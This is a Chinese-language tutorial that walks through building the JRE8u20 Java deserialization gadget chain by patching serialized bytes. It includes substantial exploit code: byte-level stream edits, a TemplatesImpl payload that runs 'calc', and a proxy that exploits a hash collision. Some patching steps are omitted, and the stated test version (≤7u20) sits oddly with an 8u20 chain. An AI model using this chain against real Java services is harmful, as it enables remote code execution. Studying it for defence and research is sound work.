以一种更简单的方式构造JRE8u20 Gadget
字数 1326 2025-08-18 17:33:16
JRE8u20 Gadget构造简化方法教学文档
概述
本文档详细讲解如何以更简单的方式构造JRE8u20反序列化漏洞利用链(Gadget)。该方法通过修改序列化字节码的方式,避免了复杂的全手动构造过程,同时保留了原漏洞利用链的核心原理。
核心知识点
1. LinkedHashSet的特性利用
- 哈希碰撞原理:在jdk7u21中,通过向LinkedHashSet中塞入特定对象触发RCE
- 扩展性:只要包含特定的2个关键对象,可以额外添加任意数量的其他对象而不影响利用
- 示例:即使添加了额外字符串对象,利用链仍能正常工作
2. 修改序列化字节码调整LinkedHashSet元素数量
实现步骤:
- 创建包含1个元素的LinkedHashSet并序列化
- 修改字节码将元素数量从1改为3
- 调整TC_ENDBLOCKDATA标记位置
- 反序列化时LinkedHashSet会读取3个元素
关键代码:
// 修改hashset的长度(元素个数),由1修改为3
bytes[89] = 3;
// 调整TC_ENDBLOCKDATA标记的位置
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 97 && bytes[i+1] == 97 && bytes[i+2] == 97){
bytes = Util.deleteAt(bytes, i + 3);
break;
}
}
bytes = Util.addAtLast(bytes, (byte) 0x78);
原理图示:
原始序列化流: [LinkedHashSet(1元素)][TC_ENDBLOCKDATA][其他对象1][其他对象2]
修改后序列化流: [LinkedHashSet(3元素)][其他对象1][其他对象2][TC_ENDBLOCKDATA]
3. 控制BeanContextSupport反序列化指定对象
BeanContextSupport关键代码:
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
实现步骤:
- 创建BeanContextSupport对象并设置serializable=0
- 序列化BeanContextSupport后跟着Payload对象
- 修改字节码将serializable改为1
- 调整TC_BLOCKDATA位置使Payload成为BeanContextSupport要读取的子对象
关键代码:
// 将serializable的值修改为1
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1
&& bytes[i+3] == 0 && bytes[i+4] == 0
&& bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
bytes[i+6] = 1;
break;
}
}
// 调整TC_BLOCKDATA位置
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0
&& bytes[i+3] == 0 && bytes[i+4] == 0
&& bytes[i+5] == 0 && bytes[i+6] == 120){
// 删除原有TC_BLOCKDATA
bytes = Util.deleteAt(bytes, i);
// ...多次删除操作...
break;
}
}
// 在适当位置重新添加TC_BLOCKDATA
原理图示:
原始序列化流: [BeanContextSupport][TC_BLOCKDATA][TC_ENDBLOCKDATA][Payload]
修改后序列化流: [BeanContextSupport(serializable=1)][Payload][TC_BLOCKDATA][TC_ENDBLOCKDATA]
完整JRE8u20 Gadget构造
利用链结构
- 反序列化LinkedHashSet(元素数量设为3)
- 第一个元素BeanContextSupport触发readChildren
- 反序列化AnnotationInvocationHandler(虽然会抛出异常但被捕获)
- 第二、三个元素触发哈希碰撞
- 最终导致RCE
关键实现代码
// 1. 准备恶意Templates对象
final Object templates = Gadgets.createTemplatesImpl("calc");
// 2. 创建AnnotationInvocationHandler代理
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(
Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);
// 3. 设置Templates对象
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // 替换为真实恶意对象
// 4. 创建LinkedHashSet和BeanContextSupport
LinkedHashSet set = new LinkedHashSet();
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);
Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);
set.add(bcs);
// 5. 序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(set);
oos.writeObject(handler);
oos.writeObject(templates);
oos.writeObject(proxy);
oos.close();
byte[] bytes = baous.toByteArray();
// 6. 修改字节码
// ... (此处包含前面介绍的所有字节码修改步骤) ...
// 7. 写入文件并测试
FileOutputStream fous = new FileOutputStream("jre8u20.ser");
fous.write(bytes);
fous.close();
// 反序列化测试
FileInputStream fis = new FileInputStream("jre8u20.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
关键字节码修改点
- 修改LinkedHashSet的size从1改为3
- 调整TC_ENDBLOCKDATA标记位置
- 修改BeanContextSupport.serializable从0改为1
- 移动TC_BLOCKDATA块位置
- 修改AnnotationInvocationHandler的classDescFlags
- 从SC_SERIALIZABLE改为SC_SERIALIZABLE | SC_WRITE_METHOD
- 防止defaultDataEnd提前结束反序列化
注意事项
- 需要在JDK ≤ 7u20环境下测试,高版本需调整
- 字节码修改需要精确匹配特定位置
- AnnotationInvocationHandler反序列化会抛出异常但被捕获,不影响利用
- 哈希碰撞是触发RCE的关键
参考工具
Util类提供字节码操作工具方法:deleteAt: 删除指定位置字节addAtLast: 在末尾添加字节addAtIndex: 在指定位置插入字节
总结
通过这种方法,我们可以:
- 避免全手动构造复杂的序列化字节码
- 利用Java原生序列化机制,仅修改关键字节
- 实现JRE8u20反序列化漏洞的稳定利用
- 保持利用链的扩展性和可维护性